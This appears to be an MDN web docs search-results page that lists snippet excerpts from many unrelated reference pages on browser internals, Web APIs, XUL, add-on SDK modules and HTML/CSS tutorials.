...rom the data stream and returned to the caller, emulating the behavior of the call/message. this requires the process to be deterministic enough that events play out in the same order on each thread between recording and replay. the data stream should have enough error checking in place that we can immediately detect if the replay has gone out of sync with the recording. the recorded data streams which specify the acquisition order for each lock are read from and used so that locks are acquired in the same order. when a thread tries to acquire a lock, it first waits until it is next in line to do so. similarly, atomic accesses which were included in the recording will occur in the same order during replay, as if they were all protected by a single global lock. note that while this coul...
...orward and allow the user to resume interacting with the tab after they have finished inspecting state in the past. the advantage of using two replaying processes is to provide a smoother experience when rewinding. recording/replaying process extensions during initialization the child process spawns a thread that does not participate in the recording — any ipc or other system calls it performs are live, even when replaying. this thread sends and receives messages from the middleman. messages describe actions the child process is able to do independently from the recording; currently this includes sending graphics updates, taking and restoring process snapshots, and responding to debugger requests. rewinding infrastructure a child process can be rewound to an earlier state in respon...
...And 6 more matches
Implementation Details
introduction this article is a reference how gecko implements at apis. ...
... introduction this article is a reference how gecko implements at apis. ...
...r to specific pages to get information of supported interfaces for interested at api: core: gecko interfaces windows: msaa, ia2, ienumvariant and isimpledom* interfaces linux: at-spi roles refer to specific pages to get information of supported roles for interested at api: gecko msaa ia2 at-spi states refer to specific pages to get information of supported states for interested at api: gecko msaa ia2 at-spi relations refer to specific pages to get information of supported relations for interested at api: gecko msaa ia2 at-spi attributes object attributes refer to specific pages to get information of supported object attributes for interested at api: gecko msaa ia2 at-spi text attributes refer to specific pages to get information of supported text attributes for interested at api: ...
...And 6 more matches
inIDOMUtils
inherits from: nsisupports last changed in gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) implemented by: @mozilla.org/inspector/dom-utils;1 as a service: var inidomutils = components.classes["@mozilla.org/inspector/dom-utils;1"] .getservice(components.interfaces.inidomutils); method overview void addpseudoclasslock(in nsidomelement aelement, in domstring apseudoclass); void clearpseudoclasslocks(in nsidomelement aelement); [implicit_jscontext] jsval colornametorgb(in domstring acolorname); nsiarray getbindingurls(in nsidomelement aelement); nsidomnodelist getchildrenfornode(in nsidomnode anode, in boolean ashowinganonymouscontent); unsigned long long getcontentstate(in nsidomelement aelement); ...
... getchildrenfornode(in nsidomnode anode, in boolean ashowinganonymouscontent); unsigned long long getcontentstate(in nsidomelement aelement); void getcsspropertynames([optional] in unsigned long aflags, [optional] out unsigned long acount, [retval, array, size_is(acount)] out wstring aprops); nsisupportsarray getcssstylerules(in nsidomelement aelement, [optional] in domstring apseudo); nsidomnode getparentfornode(in nsidomnode anode, in boolean ashowinganonymouscontent); unsigned long getruleline(in nsidomcssstylerule arule); unsigned long getrulecolumn(in nsidomcssstylerule arule); unsigned long getselectorcount(in nsidomcssstylerule arule); astring getselectortext(in nsidomcssstylerule arule, in unsigned long aselect...
... unsigned long getselectorcount(in nsidomcssstylerule arule); astring getselectortext(in nsidomcssstylerule arule, in unsigned long aselectorindex); unsigned long long getspecificity(in nsidomcssstylerule arule, in unsigned long aselectorindex); nsidomfontfacelist getusedfontfaces(in nsidomrange arange); bool haspseudoclasslock(in nsidomelement aelement, in domstring apseudoclass); boolean isignorablewhitespace(in nsidomcharacterdata adatanode); bool isinheritedproperty(in astring apropertyname); void parsestylesheet(in nsidomcssstylesheet asheet, in domstring ainput); void removepseudoclasslock(in nsidomelement aelement, in domstring apseudoclass); astring rgbtocolorname(in octet ar, in octet ag, in octet ab...
...And 6 more matches
nsICryptoHash
netwerk/base/public/nsicryptohash.idlscriptable this interface can be used to compute a cryptographic hash function of some data. you can, for example, calculate the sha256 hash of a file to determine if it contains the data you think it does. the hash algorithms supported are md2, md5, sha-1, sha-256, sha-384, and sha-512. ...
...the values map directly onto the values defined in mozilla/security/nss/lib/cryptohi/hasht.h. constant value description md2 1 message digest algorithm 2 md5 2 message-diges...
...nderbird 1.5 / seamonkey 1.0) method overview acstring finish(in prbool aascii); void init(in unsigned long aalgorithm); void initwithstring(in acstring aalgorithm); void update([const, array, size_is(alen)] in octet adata, in unsigned long alen); void updatefromstream(in nsiinputstream astream, in unsigned long alen); constants hash algorithms these constants are used by the init() method to indicate which hashing function to use. the values map directly onto the values defined in mozilla/security/nss/lib/cryptohi/hasht.h. constant value description md2 1 message digest algorithm 2 md5 2 message-digest algorithm 5 sha1 3 secure hash algorithm 1 sha256 4 secure...
...And 6 more matches
nsIDOMEvent
l events in the document object model. inherits from: nsisupports last changed in gecko 16.0 (firefox 16.0 / thunderbird 16.0 / seamonkey 2.13) note: as of gecko 16.0, the nsiprivatedomevent interface was merged into this interface. everything marked as gecko 16.0 was previously available in that interface. see bug 761613. ...
...t interface. see bug 761613. ...
... void settrusted(in boolean atrusted); native code only! ...
...And 6 more matches
Mail and RDF
st updated in 1999. mozilla mail exposes many of it's data structures to rdf through a few datasources. this allows exposure of mailnews-specific data to user interface using rdf templates. you should learn about rdf before reading this document or you will be hopelessly confused. ...
...ts, folders and messages is the rdf resource named msgaccounts:/. from this resource, you can follow a number of arcs to find servers, folders, and finally messages. eventually we'll probably hang mail filters, annotations, etc, off of nodes in the graph. here is an example of how this might be set up: in this tree-style representation of an rdf graph, i've made arcs italic and resources bold. ...
...-> | | mailbox_message://alecf@pop.mywork.com/inbox#1 | +-- http://home.netscape.com/nc-rdf#messagechild --> | mailbox_message://alecf@pop.mywork.com/inbox#2 | etc... there are of course many more properties that are exposed via rdf, but this should give you a feel for it. datasources we have a few primary datasources used in mail: nsmsgaccountdatasource - answers queries about arcs coming out of msgaccounts:/. if you ask it for #child nodes out of msgaccounts:/, it returns the root uris of all servers in the account manager. note that it does not actually know anything about the servers who's uris it returns. nsmsgfolderdatasource - answer queries about any mail folders, including toplevel server folders. if asked about a fold...
...And 6 more matches
AddressErrors - Web APIs
ame name in an address described using paymentaddress. addresserrors is the type of the object returned by shippingaddresserrors in the paymentdetailsupdate passed into paymentrequestupdateevent.updatewith() by the shippingaddresschange event handler if a change to the address resulted in a validation error occurring. see the examples below to see how this works. properties addressline a domstring which, if present, indicates that the addressline property of the paymentaddress could not be validated. the contents of the string provide a human-readable explanation of the validation failure, and ideally suggestions to correct the problem. city a domstring which, if present, indicates that the city property of the paymentaddress could not be validated. the contents of the string provid...
...nts of the string provide a human-readable explanation of the validation failure, and ideally suggestions to correct the problem. city a domstring which, if present, indicates that the city property of the paymentaddress could not be validated. the contents of the string provide a human-readable explanation of the validation failure, and ideally suggestions to correct the problem. country a domstring which, if present, indicates that the country property of the paymentaddress could not be validated. the contents of the string provide a human-readable explanation of the validation failure, and ideally suggestions to correct the problem. dependentlocality a domstring which, if present, indicates that the dependentlocality property of the paymentaddress could not be validated. the content...
...an-readable explanation of the validation failure, and ideally suggestions to correct the problem. dependentlocality a domstring which, if present, indicates that the dependentlocality property of the paymentaddress could not be validated. the contents of the string provide a human-readable explanation of the validation failure, and ideally suggestions to correct the problem. organization a domstring which, if present, indicates that the organization property of the paymentaddress could not be validated. the contents of the string provide a human-readable explanation of the validation failure, and ideally suggestions to correct the problem. phone a domstring which, if present, indicates that the phone property of the paymentaddress could not be validated. the contents of the string pro...
...And 6 more matches
Guide to the Fullscreen API - Web APIs
s code is called when the user hits the enter key, as seen above. function togglefullscreen() { if (!document.fullscreenelement) { document.documentelement.requestfullscreen(); } else { if (document.exitfullscreen) { document.exitfullscreen(); } } } this starts by looking at the value of the fullscreenelement attribute on the document (checking it prefixed with both moz, ms, or webkit). if it's null, the document is currently in windowed mode, so we need to switch to fullscreen mode. switching to fullscreen mode is done by calling element.requestfullscreen(). if fullscreen mode is already active (fullscreenelement is non-null), we call document.exitfullscreen(). prefixing note: currently, only firefox 64 and chrome 71 supports this unprefixed. for the moment n...
...o the fullscreen api you can use fscreen). ...
... standard webkit (safari) / blink (chrome & opera) / edge gecko (firefox) internet explorer document.fullscreen webkitisfullscreen mozfullscreen - document.fullscreenenabled webkitfullscreenenabled mozfullscreenenabled msfullscreenenabled documentorshadowroot.fullscreenelement webkitfullscreenelement mozfullscreenelement msfullscreenelement document.onfullscreenchange onwebkitfullscreenchange onmozfullscreenchange onmsfullscreenchange document.onfullscreenerror onwebkitfullscreenerror onmozfullscreenerror onmsfullscreenerror document.exitfullscreen() webkitexitfullscreen() mozcancelfullscreen() msexitfullscreen() element.requestfullscreen() webkitrequ...
...And 6 more matches
HTMLImageElement - Web APIs
image() the image() constructor creates and returns a new htmlimageelement object representing an html <img> element which is not attached to any dom tree. it accepts optional width and height parameters. when called without parameters, new image() is equivalent to calling document.createelement("img"). properties inherits properties from its parent, htmlelement. htmlimageelement.alt a domstring that reflects the alt html attribute, thus indicating the alternate fallback content to be displayed if the image has not been loaded. htmlimageelement.complete read only returns a boolean that is true if the browser has finished fetching the image, whether successful or not. that means this value is also true if the image has no src value indicating an image to load. htmlimageelement.cr...
...ects the alt html attribute, thus indicating the alternate fallback content to be displayed if the image has not been loaded. htmlimageelement.complete read only returns a boolean that is true if the browser has finished fetching the image, whether successful or not. that means this value is also true if the image has no src value indicating an image to load. htmlimageelement.crossorigin a domstring specifying the cors setting for this image element. see cors settings attributes for further details. this may be null if cors is not used. htmlimageelement.currentsrc read only returns a usvstring representing the url from which the currently displayed image was loaded. this may change as the image is adjusted due to changing conditions, as directed by any media queries which are in plac...
...age element. see cors settings attributes for further details. this may be null if cors is not used. htmlimageelement.currentsrc read only returns a usvstring representing the url from which the currently displayed image was loaded. this may change as the image is adjusted due to changing conditions, as directed by any media queries which are in place. htmlimageelement.decoding an optional domstring representing a hint given to the browser on how it should decode the image. if this value is provided, it must be one of the possible permitted values: sync to decode the image synchronously, async to decode it asynchronously, or auto to indicate no preference (which is the default). read the decoding page for details on the implications of this property's values. htmlimageelement.height a...
...And 6 more matches
HTMLTextAreaElement - Web APIs
focus it). checkvalidity() returns false if the element is a candidate for constraint validation, and it does not satisfy its constraints. in this case, it also fires a cancelable invalid event at the control. it returns true if the control is not a candidate for constraint validation, or if it satisfies its constraints. reportvalidity() this method reports the problems with the constraints on the element, if any, to the user. if there are problems, it fires a cancelable invalid event at the element, and returns false; if there are no problems, it returns true. setcustomvalidity(domstring) sets a custom validity message for the element. if this message is not the empty string, then the element is suffering from a custom validity error, and does n...
...<form> <fieldset> <legend>your comments</legend> <p><textarea class="noscrollbars" onkeyup="autogrow(this);"></textarea></p> <p><input type="submit" value="send" /></p> </fieldset> </form> insert html tags example insert some html tags or smiles or any custom text in a textarea. ...
...nd> <p><textarea class="noscrollbars" onkeyup="autogrow(this);"></textarea></p> <p><input type="submit" value="send" /></p> </fieldset> </form> insert html tags example insert some html tags or smiles or any custom text in a textarea. ...
...And 6 more matches
RTCPeerConnection.getStreamById() - Web APIs
the rtcpeerconnection.getstreambyid() method returns the mediastream with the given id that is associated with local or remote end of the connection. if no stream matches, it returns null. this property has been replaced with the rtcpeerconnection.getlocalstreams and rtcpeerconnection.getremotestreams properties. if you have code that uses stream, you will need to update, since browsers have begun to remove support for stream. syntax var mediastream = pc.getstream(id); parameters id is a domstring corresponding to the stream to return. example var stream = pc.getstreambyid(mytrackid); if (stream) { console.log("found stream: " + stream.id); } polyfill running the following code before any other code will create rtcpeerconnection.prototype.getstreambyid() if it's not n...
...tstreambyid(mytrackid); if (stream) { console.log("found stream: " + stream.id); } polyfill running the following code before any other code will create rtcpeerconnection.prototype.getstreambyid() if it's not natively available. ...
... if (stream) { console.log("found stream: " + stream.id); } polyfill running the following code before any other code will create rtcpeerconnection.prototype.getstreambyid() if it's not natively available. ...
...And 6 more matches
SVGTransformList - Web APIs
methods name & arguments return description clear() ...
...gtransform appenditem(in svgtransform newitem) svgtransform createsvgtransformfrommatrix(in svgmatrix) svgtransform consolidate() properties readonly unsigned long numberofitems readonly unsigned long length normative document svg 1.1 (2nd edition) properties name type description numberofitems unsigned long the number of items in the list. length unsigned long the number of items in the list. methods name & arguments return description clear() void clears all existing current items from the list, with the result being an empty list. exceptions: a domexception with code no_modification_allowed_err is ...
...if the inserted item is already in a list, it is removed from its previous list before it is inserted into this list. the inserted item is the item itself and not a copy. the return value is the item inserted into the list. ...
...And 6 more matches
URL API - Web APIs
Web › API › URL API
the url api is a component of the url standard, which defines what constitutes a valid uniform resource locator and the api that accesses and manipulates urls. the url standard also defines concepts such as domains, hosts, and ip addresses, and also attempts to describe in a standard way the legacy application/x-www-form-urlencoded mime type used to submit web forms' contents as a set of key/value pairs. url concepts and usage the majority of the url standard is taken up by the definition of a url and how it is structured and parsed. also covered are definitions of various terms related to addressing of computers on a network, and the algorithms for parsing ip addresses and dom addresses are specified. more interesting to most developers is the api itself. accessing url components creat...
...dr.href is https://someguy@mysite.com/login. this is true for any of the writable properties. queries the search property on a url contains the query string portion of the url. for example, if the url is https://mysite.com/login?user=someguy&page=news, then the value of the search property is ?user=someguy&page=news. ...
...l contains the query string portion of the url. for example, if the url is https://mysite.com/login?user=someguy&page=news, then the value of the search property is ?user=someguy&page=news. ...
...And 6 more matches
Lighting a WebXR setting - Web APIs
however, glossy, mirror-like surfaces reflect most of the light in a direction whose angle of reflection, Θr, is equal to the angle of incidence, except it's on the opposite side of the normal vector. the reflected ray, then, departs along at that angle off the normal. this is the law of reflection. this is the foundation for much of what's involved in shading a scene, and comes into play in terms of how different types of light source behave. the reflected light ray's color may, of course, be altered in intensity and/or hue due to the light's interaction with the surface, but the angle is always the same. components of a light source a light source has three major components; each component is in essence a type of light there are three kinds of light that can affect the color and brig...
...ntensity or brightness of the light reflected by an object varies depending on the surface's orientation relative to the light source. a photo taken by nasa's cassini spacecraft showing specular reflection of light from a lake of liquid methane on the surface of saturn's moon titan. specular light specular light is the light that makes up the highlights on reflective objects, such as gems, eyes, shiny cups and plates, and the like. specular lights tend to appear as bright spots or squares on a surface at the point where a light source strikes the surface most directly. every light source is represented by some combination of ambient, diffuse, and/or specular light. the webgl shader program takes the color, directionality, brightness, and other factors for each light source and co...
...ecific location, radiating outward equally in every direction. light bulbs, candles, and the like are examples of point light sources. the closer an object is to a point light source, the brighter the light it casts onto that object. the rate at which the brightness of a point light falls off is called attenuation, and is a configurable feature of the light source in webgl and other lighting systems. between the law of reflection and the fact that the brightness of the light rays decreases with distance, the light emitted by a point source and reflected back tends to be brightest at the closest point to the light source and dimmer the farther away it is. even if the surface is flat, the closest point to the light source is the center, with rays becoming increasingly long as the angle away f...
...And 6 more matches
Browser detection using the user agent - HTTP
, more broadly compatible way to solve your problem! considerations before using browser detection when considering using the user agent string to detect which browser is being used, your first step is to try to avoid it if possible. start by trying to identify why you want to do it. are you trying to work around a specific bug in some version of a browser? look, or ask, in specialized forums: you're unlikely to be the first to hit this problem. also, experts, or simply people with another point of view, can give you ideas for working around the bug. if the problem seems uncommon, it's worth checking if this bug has been reported to the browser vendor via their bug tracking system (mozilla; webkit; blink; opera). browser makers do pay attention to bug reports, and the analysis may hin...
...e. the agent might be an older version of chrome, from before support was added, or (because the feature was experimental at the time) it could be a later version of chrome that removed it. most importantly, it assumed no other browsers would support the feature. support could have been added to other browsers at any time, but this code would have continued choosing the inferior path. problems like these can be avoided by testing for support of the feature itself instead: var islookbehindsupported = false; try { new regexp("(?<=)"); islookbehindsupported = true; } catch (err) { // if the agent doesn't support lookbehinds, the attempted // creation of a regexp object using that syntax throws and // islookbehindsupported remains false. } var splitupstring = islook...
... maintenance for yourself. rather, add in touch conveniences such as bigger, more easily clickable buttons (you can do this using css by simply increasing the font size). here is an example of code that increases the padding of #examplebutton to 1em on mobile devices. ...
...And 6 more matches
HTTP Index - HTTP
Web › HTTP › Index
are ways to develop your website to progressively enhance itself based on the availability of features rather than by targeting specific browsers. 13 compression in http guide, http, compression compression is an important way to increase the performance of a web site. for some documents, size reduction of up to 70% lowers the bandwidth capacity needs. over the years, algorithms also got more efficient, and new ones are supported by clients and servers. 14 configuring servers for ogg media audio, http, media, ogg, video this guide covers a few server configuration changes that may be necessary for your web server to correctly serve ogg media files. 15 connection management in http/1.x connection management, guide, http, networking, per...
...t or response. an http header consists of its case-insensitive name followed by a colon (:), then by its value. 47 accept http, http header, reference, request header the accept request http header advertises which content types, expressed as mime types, the client is able to understand. using content negotiation, the server then selects one of the proposals, uses it and informs the client of its choice with the content-type response header. browsers set adequate values for this header depending on the context where the request is done: when fetching a css stylesheet a different value is set for the request than when fetching an image, video or a script. 48 accept-ch client hints, http, http header the accept-ch header is set by the server to specify...
...eader advertises which character encodings the client understands. 51 accept-encoding content negotiation, http, http header, reference, request header the accept-encoding request http header advertises which content encoding, usually a compression algorithm, the client is able to understand. using content negotiation, the server selects one of the proposals, uses it and informs the client of its choice with the content-encoding response header. 52 accept-language accept-language, content negotiation, http, http header, reference, request header the accept-language request http header advertises which languages the client is able to understand, and which locale variant is preferred. (by languages, we mean natural languages, such as english, and not p...
...And 6 more matches
MathML documentation index - MathML
Web › MathML › Index
authoring mathml beginner, mathml, mathml project this page explains how to write mathematics using the mathml language. just like html, mathml is described with tags and attributes. html becomes verbose when your document contains advanced structures like lists or tables but fortunately there are many generators from simple notations, wysiwyg editors and other content management systems to help writing web pages. 3 examples beginner, example, guide, mathml, needsbeginnerupdate below you'll find some examples you can look at to help you to understand how to use mathml to display increasingly complex mathematical concepts in web content. 4 mathml: deriving the quadratic formula beginner, education, example, guide, html5, mathml, needsbeginnerupd...
...n-standard symbols where existing unicode characters are not available. it may be used within token elements. 17 <mi> mathml, mathml reference, mathml:element, mathml:token elements the mathml <mi> element indicates that the content should be rendered as an identifier such as function names, variables or symbolic constants. you can also have arbitrary text in it to mark up terms. 18 <mlabeledtr> mathml, mathml reference, mathml:element, mathml:tabular math the mathml <mlabeledtr> element is used to represent a label in a row either on the left or on the right side (determined using the side attribute on the <mtable> element). child elements of <mlabeledtr> must be <mtd> elements. the first child is the label whereas all other children are representin...
...ich leads to the syntax: <mroot> base index </mroot>. 26 <mrow> mathml, mathml reference, mathml:element, mathml:general layout schemata the mathml <mrow> element is used to group sub-expressions, which usually contain one or more operators with their respective operands (such as <mi> and <mn>). this element renders as a horizontal row containing its arguments. 27 <ms> mathml, mathml reference, mathml:element, mathml:token elements the mathml <ms> element represents a string literal meant to be interpreted by programming languages and computer algebra systems. by default, string literals are displayed as enclosed by double quotes (&quot;); by using the lquote and rquote attributes, you can set custom characters to display. note that quotation marks s...
...And 6 more matches
indexed-db - Archive of obsolete content
experimental exposes the indexeddb api to add-ons. usage scripts running in web pages can access indexeddb via the window object. for example: window.indexeddb = window.indexeddb || window.webkitindexeddb || window.mozindexeddb || window.msindexeddb; var request = window.indexeddb.open("mydatabase"); request.onerror = function(event) { console.log("failure"); }; request.onsuccess = function(event) { console.log("success"); }; because your main add-on code can't access the dom, you can't do this. so you can use the indexed-db module to access the same api: var { indexeddb } = require('sdk/indexed-db'); var request = indexeddb.open('mydatabase'); request.onerror = function(event) { console.log("failure"); }; request.onsuccess = function(event) { console.log("success"); }; m...
...78197 and bug 786688. example this example uses the action button api, which is only available from firefox 29 onwards. here's a complete add-on that adds two buttons to the browser: the button labeled "add" adds the title of the current tab to a database, while the button labeled "list" lists all the titles in the database. the add-on implements helper functions open(), additem() and getitems() to open the database, add a new item to the database, and get all items in the database. var { indexeddb, idbkeyrange } = require('sdk/indexed-db'); var database = {}; database.onerror = function(e) { console.error(e.value) } function open(version) { var request = indexeddb.open("stuff", version); request.onupgradeneeded = function(e) { var db = e.target.result; e.target.tran...
... the database. ...
...And 5 more matches
passwords - Archive of obsolete content
l, to distinguish it from any other credentials you've stored. the realm is displayed in firefox's password manager, under "site", in brackets after the url. ...
...you should omit anything after the hostname and (optional) port. if the form doesn't contain an "action" attribute, this property should match the url property. usernamefield the value of the "name" attribute for the form's username field. ...
... http authentication credential these are used to authenticate the user to a web site which uses http authentication, as detailed in rfc 2617. they contain the following properties: username the use...
...And 5 more matches
core/promise - Archive of obsolete content
implementation of promises to make asynchronous programming easier. rationale most of the js apis are asynchronous complementing its non-blocking nature. while this has a good reason and many advantages, it comes with a price. ...
...r."); }, function (error) { // we only get here if `readasync` fails. }); to see why this is, consider the parallel between promises and try/catch. we are try-ing to execute readasync(): the error handler represents a catch for readasync(), while the value handler represents code that happens after the try/catch block. that code then needs its own try/catch block to handle errors there. in terms of promises, this means chaining your error handler: readasync(url). then(parse). then(null, function handleparseerror(error) { // handle here both `readasync` and `parse` errors. }); consuming promises in general, the whole purpose of promises is to avoid the so-called callback spaghetti. as a matter of fact it would be great if we could convert any synchronous functions to asynchrono...
...rned by an original function if it were called with fulfillment values of given arguments. this technique is so powerful that it can replace most of the promise utility functions provided by other promise libraries. for example grouping promises to observe single resolution of all of them is as simple as this: var group = promised(array); var abc = group(aasync, basync, casync).then(function(items) { return items[0] + items[1] + items[2]; }); all the all function is provided to consume an array of promises and return a promise that will be accepted upon the acceptance of all the promises in the initial array. this can be used to perform an action that requires values from several promises, like getting user information and server status, for example: const { all } = require('sdk/core/...
...And 5 more matches
Finding window handles - Archive of obsolete content
since mozilla tries to be as cross-platform as possible, it can be difficult to get the handle you need. note: starting in gecko 2.0, only the top level browser window has an hwnd. web content windows (in tabs) do not have their own hwnds. ...
... that's it; use with caution! os specific examples using javascript (js-ctypes) nsibasewindow -> nativehandle in all of the examples below, the native handle to the most recent navigator:browser is obtained and then it is focused. run the snippets below from the scratchpad in environment > browser. ...
... .queryinterface(ci.nsidocshelltreeitem) .treeowner .queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsibasewindow); var hwndstring = basewindow.nativehandle; components.utils.import('resource://gre/modules/ctypes.jsm'); var user32 = ctypes.open('user32.dll'); /* http://msdn.microsoft.com/en-us/library/ms633539%28v=vs.85%29.aspx * bool winapi setforegroundwindow( * __in_ hwnd hwnd * ); */ var setforegroundwindow = user32.declare('setforegroundwindow', ctypes.winapi_abi, ctypes.bool, // return bool ctypes.voidptr_t // hwnd ); var hwnd = ctypes.voidptr_t(ctypes.uint64(hwndstring)); var rez_setforegroundwindow = setforegroundwindow(hwnd); console.log('...
...And 5 more matches
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
="button1" ordinal="3"/> <button label="button2" ordinal="2"/> <button label="button3" ordinal="1"/> </vbox> listing 5: changing order with ordinal figure 4: output of listing 5 box size you can set the size of xul elements explicitly using the width and height attributes, as shown in listing 6. if you are creating elements that can grow using the flex attribute, you can also set minimums and maximums using minwidth, minheight, maxwidth, and maxheight. these all use pixels as the unit of size. <button label="button" width="200" height="100"/> listing 6: setting the size of a button also, as shown in listing 7, you can embed css inline into elements via the style attribute, which allows you to set sizes using units other than pixels. <button label="button" style="min-width: 10...
...tton label="button" style="min-width: 10em;"/> listing 7: setting the size of a button using css markup hidden and collapsed the hidden and collapsed attributes act as switches to turn off the display of elements. setting hidden="true" disables display of that element. this has the same effect as setting display: none in css. you would use this to set a hidden or absent state, for example items that aren't displayed in contextual menus. setting collapsed="true" sets an element's height and width to 0, but the element is treated as being present. this is equivalent to setting visibility: collapse in css. use this to "roll up" sidebars that aren't currently in use. disabled while not appropriate for all elements, you can use the disabled attribute to temporarily disable input to an ele...
...item 3"/> <menu label="submenu"> <menupopup> <menuitem label="item 4"/> <menuitem label="item 5"/> </menupopup> </menu> </menupopup> </menu> </menubar> listing 9: a menu definition figure 6: output from listing 9 each item in a menu is marked up with the menuitem tag. use the menuseparator element to insert a separator bar that groups items together. both menu and menuitem elements take the label attribute to set their labels. insert menu elements into a menubar element to create multiple menus. you can easily create hierarchical menus by inserting menupopup and menu elements. you can even display icons in menus by adding class="menuitem-iconic" to a menuitem element, along with a src attribute that gives an image uri. figure 7 sh...
...And 5 more matches
Message Summary Database - Archive of obsolete content
the mdb interfaces are implemented in mork. mdb is a schema-less db interface, so it's trivial to add new attributes without regenerating the db, and it's trivial for older code to read newer databases, because the code can ignore but maintain the attributes it doesn't know about. ...
...the mdb interfaces are implemented in mork. mdb is a schema-less db interface, so it's trivial to add new attributes without regenerating the db, and it's trivial for older code to read newer databases, because the code can ignore but maintain the attributes it doesn't know about. ...
...db is a schema-less db interface, so it's trivial to add new attributes without regenerating the db, and it's trivial for older code to read newer databases, because the code can ignore but maintain the attributes it doesn't know about. if we were to replace mork, we could do it at the mdb level (unlikely, because implementing the mdb interface on top of a different db would be very hard), the nsimsgdatabase level (probably the easiest), or we could invent a whole new database interface and change all the code that uses the nsimsgdatabase interface. message headers the message header object implements the nsimsgdbhdr interface. this includes a set of per-message flags, the more commonly used headers (e.g., subject, sender, from, to, cc, date, etc), and a few other attributes, e.g., keywords.
...And 5 more matches
Using Remote XUL - Archive of obsolete content
us and buttons the mozilla.org web site uses an html navigation bar on the left-hand side of its pages to provide site navigation. the bar consists of a set of links organized into four main categories: the mozilla organization, developer docs, testing, and tools. the bar also contains two links that are independent of any category: faq and search. the categorized links are analogous to menu items organized into menus, where clicking the link/selecting the menu item performs some function, so we'll use xul menu elements to implement them in our document. the independent links, on the other hand, are similar to xul buttons, which perform a function when pressed, so we'll use the button element for those. <?xml version="1.0"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/ther...
...of menus. it can also contain other elements. it serves to group menus together into a single horizontal bar like the one you see at the top of many desktop applications. the menu element defines a pull-down menu, and the button element defines a pressable button. both menus and buttons take a label attribute whose value is the text to display in the element. source | rendered step 4: menu items menus aren't terribly useful unless they contain selectable items. to add items to a menu, we need to first add a menupopup element and then put menuitem elements within it for each item we want to appear on the menu. <?xml version="1.0"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <menubar> <menu label="the mozilla organization"> <menupopup> ...
... <menuitem label="at a glance" value="https://www.mozilla.org/mozorg.html" /> <menuitem label="feedback" value="https://www.mozilla.org/feedback.html" /> <menuitem label="get involved" value="https://www.mozilla.org/get-involved.html" /> <menuitem label="newsgroups" value="https://www.mozilla.org/community.html" /> <menuitem label="license terms" value="https://www.mozilla.org/mpl/" /> <menuitem label="newsbot" value="https://www.mozilla.org/newsbot/" /> </menupopup> </menu> <menu label="developer docs"> <menupopup> <menuitem label="roadmap" value="https://www.mozilla.org/roadmap.html" /> <menuitem label="projects" value="https://www.mozilla.org/projects/" /> <m...
...And 5 more matches
menulist - Archive of obsolete content
this should be one of th...
...this size. for example, for a menuitem in a menu you can add the following css rule when you want to use the value none: menupopup > menuitem, menupopup > menu { max-width: none; } disableautoselect type: boolean if this attribute is true or omitted, the selected item on the menu will update to match what the user entered in the textbox. if the text does not match any of the items in the list, the menu selection is cleared. if this attribute is false, the selection is never updated to match the text box. this attribute applies only to editable menulists. disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it d...
... you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. editable type: boolean indicates that the value of the menulist can be modified by typing directly into the value field. this is rendered as a textbox with a drop-down arrow beside it. the user may enter text into the textbox or select one of the choices by clicking from the drop-down. focus...
...And 5 more matches
UI pseudo-classes - Learn web development
previous overview: forms next in the previous articles, we covered the styling of various form controls, in a general manner. this included some usage of pseudo-classes, for example using :checked to target a checkbox only when it is selected. in this article, we will explore in detail the different ui pseudo-classes available to us in modern browsers for styling forms in different states. prerequisites: basic computer literacy, and a basic understanding of html and css, including general knowledge of pseudo-classes and pseudo-elements. objective: to understand what parts of forms are hard to style, and why; to learn what can be done to customize them. what pseudo-classes do we have available? the original pseudo-classes available to us (as o...
... :focus: selects an element only when it is focused (i.e. by being tabbed to via the keyboard). ...
...i.e. by being tabbed to via the keyboard). :active: selects an element only when it is being activated (i.e. while it is being clicked on, or when the return/enter key is being pressed down in the case of a keyboard activation). these basic pseudo-classes should be familiar to you now. more recently, the css selector level 3 and css basic ui level 3 added more pseudo-classes related to html forms that provide several other useful targetting conditions that you can take advantage of. we'll discuss these in more detail in the sections below, but briefly, the main ones we'll be looking at are: :required and :optional: targets required or optional form controls. :valid and :invalid, and :in-range and :out-of-range: target form controls that are valid/invalid according to form validation c...
...And 5 more matches
From object to iframe — other embedding technologies - Learn web development
mbed pdfs, svg, and even flash — a technology that is on the way out, but which you'll still see semi-regularly. prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, familiarity with html fundamentals (as covered in getting started with html) and the previous articles in this module. objective: to learn how to embed items into web pages using <object>, <embed>, and <iframe>, like flash movies and other webpages. a short history of embedding a long time ago on the web, it was popular to use frames to create websites — small parts of a website stored in individual html pages. these were embedded in a master document called a frameset, which allowed you to specify the area on the screen that each frame fill...
...specify the area on the screen that each frame filled, rather like sizing the columns and rows of a table. these were considered the height of coolness in the mid to late 90s, and there was evidence that having a webpage split up into smaller chunks like this was better for download speeds — especially noticeable with network connections being so slow back then. they did however have many problems, which far outweighed any positives as network speeds got faster, so you don't see them being used anymore. a little while later (late 90s, early 2000s), plugin technologies became very popular, such as java applets and flash — these allowed web developers to embed rich content into webpages such as videos and animations, which just weren't available through html alone. embedding these technol...
... became very popular, such as java applets and flash — these allowed web developers to embed rich content into webpages such as videos and animations, which just weren't available through html alone. embedding these technologies was achieved through elements like <object>, and the lesser-used <embed>, and they were very useful at the time. they have since fallen out of fashion due to many problems, including accessibility, security, file size, and more; these days most mobile devices don't support such plugins anymore, and desktop support is on the way out. finally, the <iframe> element appeared (along with other ways of embedding content, such as <canvas>, <video>, etc.) this provides a way to embed an entire web document inside another one, as if it were an <img> or other such element, ...
...And 5 more matches
HTML table advanced features and accessibility - Learn web development
